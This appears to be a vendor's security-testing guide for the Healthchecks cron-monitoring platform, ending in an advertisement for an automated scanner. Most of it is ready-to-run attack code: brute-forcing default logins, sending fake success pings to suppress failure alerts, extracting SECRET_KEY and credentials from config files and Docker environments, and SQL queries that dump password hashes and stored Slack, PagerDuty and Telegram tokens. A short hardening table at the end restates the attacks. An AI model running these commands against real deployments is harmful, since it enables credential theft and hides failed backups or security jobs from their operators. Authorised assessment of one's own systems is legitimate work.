Healthchecks Security Testing: Default Credentials, API Key, Database, and .env SECRET_KEY

Healthchecks is a widely deployed open-source cron job and background task monitoring platform (Dead Man's Snitch/PagerDuty alternative) — it monitors whether scheduled jobs run on time and alerts when they are late or fail. Key assessment areas: SECRET_KEY is the Django session signing key; PING tokens are globally unique URLs that cron jobs POST to on success — knowledge of a ping token enables fake check-ins that suppress legitimate failure alerts; the management API exposes all checks, schedules, and notification integrations; and PostgreSQL stores complete monitoring history. Healthchecks compromise enables alert suppression for arbitrary monitored jobs and extraction of all integrated alerting platform credentials. This guide covers systematic Healthchecks security assessment.

Table of Contents

  1. Authentication and API Key Testing
  2. API Check Enumeration and Alert Suppression
  3. SECRET_KEY and Database Extraction
  4. Healthchecks Security Hardening

Authentication and API Key Testing

# Healthchecks — authentication and API key testing
HC_URL="https://healthchecks.example.com"

# Healthchecks supports email/password login
# Test common default credentials
for CRED in "admin@example.com:admin" "admin@healthchecks.io:password" "test@example.com:healthchecks"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token first
  CSRF=$(curl -s -c /tmp/hc_cookies.txt "${HC_URL}/accounts/login/" 2>/dev/null | \
    grep -o 'csrfmiddlewaretoken.*value="[^"]*"' | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
  AUTH=$(curl -s -b /tmp/hc_cookies.txt -c /tmp/hc_cookies.txt \
    -X POST "${HC_URL}/accounts/login/" \
    -d "csrfmiddlewaretoken=${CSRF}&email=${EMAIL}&password=${PASS}" \
    -D /tmp/hc_headers.txt 2>/dev/null)
  LOC=$(grep -i "location:" /tmp/hc_headers.txt | tr -d '\r')
  echo "${EMAIL}/${PASS}: redirect=${LOC}"
done

# Test API key (project API key from account settings)
API_KEY="your-healthchecks-api-key"
curl -s "${HC_URL}/api/v3/checks/" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
checks = d.get('checks',[])
print(f'Checks: {len(checks)}')
for c in checks[:5]:
    print(f'  [{c.get(\"unique_key\",\"\")[:16]}...] {c.get(\"name\")} status={c.get(\"status\")} last_ping={c.get(\"last_ping\",\"\")[:19]}')
" 2>/dev/null

API Check Enumeration and Alert Suppression

# Healthchecks API — check enumeration and alert suppression testing
HC_URL="https://healthchecks.example.com"
API_KEY="your-healthchecks-api-key"

# Get all checks with full details
curl -s "${HC_URL}/api/v3/checks/" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
checks = d.get('checks',[])
print(f'Monitored checks: {len(checks)}')
for c in checks[:15]:
    print(f'  Name: {c.get(\"name\")}')
    print(f'    Status: {c.get(\"status\")} Schedule: {c.get(\"schedule\",\"\")} Grace: {c.get(\"grace\")}s')
    print(f'    Ping URL: {c.get(\"ping_url\",\"\")}')  # THE CRITICAL FIND
    print(f'    Last ping: {c.get(\"last_ping\",\"\")[:19]} Next: {c.get(\"next_ping\",\"\")[:19]}')
    print(f'    Tags: {c.get(\"tags\")} Channels: {len(c.get(\"channels\",\"\").split(\",\"))} alert integrations')
" 2>/dev/null

# ATTACK: Send fake success ping to suppress failure alert
# If a cron job FAILS but we send a ping, Healthchecks thinks it succeeded
CHECK_UUID="the-uuid-from-ping-url"
curl -s "${HC_URL}/ping/${CHECK_UUID}" 2>/dev/null
# HTTP 200 OK — Healthchecks now marks check as UP, suppresses any queued alert

# Send /fail to trigger alert (for testing alert delivery or causing alert fatigue)
curl -s "${HC_URL}/ping/${CHECK_UUID}/fail" 2>/dev/null

# Get notification channel integrations
curl -s "${HC_URL}/api/v3/channels/" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
channels = d.get('channels',[])
print(f'Notification channels: {len(channels)}')
for ch in channels[:10]:
    # channels contain Slack webhook URLs, PagerDuty API keys, email addresses, etc.
    print(f'  [{ch.get(\"id\")}] {ch.get(\"name\")} type={ch.get(\"kind\")} status={ch.get(\"status\")}')
" 2>/dev/null

# Get flip (failure/recovery) history for a specific check
curl -s "${HC_URL}/api/v3/checks/${CHECK_UUID}/flips" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
flips = d.get('flips',[])
print(f'Flips (status changes): {len(flips)}')
for f in flips[:10]:
    print(f'  {f.get(\"timestamp\",\"\")[:19]} to_status={f.get(\"up\")}')
" 2>/dev/null

SECRET_KEY and Database Extraction

# Healthchecks SECRET_KEY and database credential extraction

# .env or settings file — Healthchecks configuration
cat /app/hc/local_settings.py 2>/dev/null | grep -E "SECRET_KEY|DATABASES|EMAIL|SLACK|PAGERDUTY|WEBHOOKURL"
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DB_|SMTP|SLACK|EMAIL|ALLOWED_HOSTS"
# SECRET_KEY — Django session/CSRF signing key
# DATABASES — PostgreSQL connection parameters
# EMAIL_* — SMTP credentials for alert delivery
# SLACK_* — Slack integration credentials
# PAGERDUTY_ENABLED — PagerDuty integration

# Docker environment variables
docker inspect healthchecks 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','DB_','SMTP','SLACK','PAGERDUTY','EMAIL','PASSWORD']):
            print(e)
" 2>/dev/null

# PostgreSQL — all Healthchecks data
DB_URL="postgresql://hc:PASSWORD@localhost/hc"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All checks with ping URLs
SELECT c.id, c.name, c.status, c.code,
       c.schedule, c.tz, c.grace,
       c.last_ping, c.alert_after,
       u.email as owner
FROM api_check c
JOIN accounts_profile p ON c.project_id = p.current_project_id
JOIN auth_user u ON p.user_id = u.id
ORDER BY c.last_ping DESC
LIMIT 20;
EOF
-- code: the UUID in the ping URL — allows fake pings without API key

-- All users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT au.id, au.email, au.username,
       au.is_superuser, au.is_staff,
       au.date_joined, au.last_login,
       au.password as password_hash
FROM auth_user au
ORDER BY au.is_superuser DESC
LIMIT 10;
EOF

-- All notification channels with integration credentials
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT c.id, c.name, c.kind, c.value,
       c.error, c.last_notify
FROM api_channel c
ORDER BY c.last_notify DESC
LIMIT 20;
EOF
-- value JSON: contains Slack webhook URLs, PagerDuty API keys, email addresses,
-- Telegram bot tokens, Discord webhook URLs, Opsgenie API keys

Healthchecks Security Hardening

Healthchecks Security Hardening Checklist:
Security TestMethodRisk
PING token fake success check-in to suppress failure alertsGET/POST hc.example.com/ping/{uuid} — anyone with the ping URL can fake successful check-ins; suppresses alerts for failed backups, security scans, or compliance checks; the uuid is exposed in API responses and potentially in cron job scriptsCritical
SECRET_KEY extraction and Django session forgeryRead local_settings.py/SECRET_KEY — Django signing key; forge session cookies for any user including superusers; full admin access to all checks and Django admin panelCritical
Notification channel credential extractionGET /api/v3/channels/ or SELECT value FROM api_channel — Slack webhooks, PagerDuty API keys, Telegram bot tokens, OpsGenie API keys stored as JSON; secondary compromise of all alerting infrastructureHigh
Check schedule and infrastructure enumerationGET /api/v3/checks/ — all monitored cron jobs with names, schedules, and last ping times; reveals complete background job infrastructure and operational patternsMedium
PostgreSQL auth_user password hash extractionSELECT password FROM auth_user — Django PBKDF2 password hashes; offline cracking reveals admin credentials for both Healthchecks and potentially other services with password reuseMedium

Automate Healthchecks Security Testing

Ironimo tests Healthchecks deployments for PING token fake check-in to suppress failure alerts, SECRET_KEY Django session forgery, notification channel credential extraction (Slack/PagerDuty/Telegram/OpsGenie), API check schedule and infrastructure enumeration, PostgreSQL auth_user password hash extraction, Django admin superuser access testing, REGISTRATION_OPEN status check, Docker environment variable SECRET_KEY exposure, IP origin monitoring for fake ping detection, and cron job infrastructure mapping.

Start free scan